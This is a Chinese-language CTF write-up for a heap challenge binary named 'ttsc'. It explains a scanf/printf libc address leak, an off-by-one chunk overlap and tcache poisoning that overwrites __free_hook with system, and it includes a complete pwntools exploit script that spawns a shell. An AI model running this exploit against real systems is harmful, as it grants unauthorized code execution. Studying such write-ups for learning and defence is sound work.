setcbuf
代码 setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); 是用来设置标准输入、标准输出和标准错误流的缓冲模式的。
setvbuf 函数的原型如下:
int setvbuf(FILE *stream, char *buffer, int mode, size_t size);
该函数用于设置 stream 所指向的文件流的缓冲区,以及缓冲方式和缓冲区的大小。
- stream:要设置缓冲区的文件流,如stdin, stdout, stderr等。
- buffer:缓冲区的地址,设置为0LL表示完全不使用缓冲区。
- mode:缓冲方式,可以是以下常量之一:
- _IOFBF:完全缓冲 (full buffering)
- _IOLBF:行缓冲 (line buffering)
- _IONBF:无缓冲 (no buffering)
- size:缓冲区的大小。
在给定的代码中,setvbuf(stdin, 0LL, 2, 0LL); 意味着关闭了stdin的缓冲机制,即从stdin读取的输入不会被缓冲,而是直接从终端获取。
同样地,setvbuf(stdout, 0LL, 2, 0LL); 和 setvbuf(stderr, 0LL, 2, 0LL); 则分别用于关闭stdout和stderr的缓冲机制,从而输出将立即显示在终端上,而不会被缓冲。
泄露栈地址
name[3] = __readfsqword(0x28u);
name[0] = 0LL;
name[1] = 0LL;
read(0, name, 0x10uLL);
printf("name: %sage: %d\nhigh: %d\n", (const char *)name, (unsigned int)age, HIDWORD(age));// name泄露栈地址
转换
*(_QWORD *)(8LL * index + chunk_70_1_addr[0])
chunk_70_1_addr[index]
scanf
注意scanf的参数是栈顶的第一个元素的位置,如果此时输入-
,scanf将不会写任何数据到scanf的第一个参数的位置,但同时会认为任务接收完成
由于此时栈顶的值为io_files_jump的地址,且最后会将栈顶元素的值赋值给要printf的参数,最后可以泄露libc基地址
栈地址
栈地址和libc基地址和heap基地址之间都没有固定偏移
思路
- 利用scanf的参数和最后printf输出的参数的相关联系以及scanf遇到-的特性泄露libc基地址
- 分配四个堆,大小都为0x18,第一个堆offbyone写第二个堆的size使得能够覆盖到后面两个堆
- free将三个堆都free掉
- malloc得到大堆,并同时修改后面堆的数据
- 修改第三个堆的fd为free_hook的地址(在tcachebin的起始位置 先进后出)
- malloc两次,并修改_free_hook的内容为system
- free(第二个堆块)(第二个堆块malloc构造/bin/sh即可以)
exp
from pwn import *
context(os="linux",arch="amd64",log_level="debug")
p=process("./ttsc")
gdb.attach(p,"b main")
libc=ELF("./libc-2.27.so")
def cmd(ch):
p.sendlineafter(b"chs:",str(ch).encode())
def add(idx, size, content):
cmd(1)
p.sendlineafter(b"index?\n", str(idx).encode())
p.sendlineafter(b"size:\n", str(size).encode())
sleep(0.1)
p.send(content)
def free(idx):
cmd(2)
p.sendlineafter(b"index?\n", str(idx).encode())
def edit(idx, content):
cmd(3)
p.sendlineafter(b"index?\n", str(idx).encode())
p.sendafter(b"content:", content)
if __name__=="__main__":
p.sendlineafter("what is your name?\n", b" ")
p.sendlineafter("age?\n", b"-")
p.sendlineafter("high?\n", b"-")
p.recvuntil(b"age: ")
lo = int(p.recvuntil(b"\n", drop=True), 10)
p.recvuntil(b"high: ")
hi = int(p.recvuntil(b"\n", drop=True), 10)
_IO_file_jumps = (hi << 32) | lo
libc_base = _IO_file_jumps - libc.sym["_IO_file_jumps"]
add(0,0x18,"0")
add(1,0x18,"0")
add(2,0x18,"0")
add(3,0x18,"0")
edit(0,b"a"*0x18+b"\x71")
free(1)
free(2)
free(3)
add(1,0x68,b"a"*0x18+p64(0x21)+p64(0)*3+p64(0x21)+p64(libc_base+libc.sym.__free_hook))
add(2,0x18,b"/bin/sh\x00")
add(3,0x18,p64(libc_base+libc.sym.system))
free(2)
p.interactive()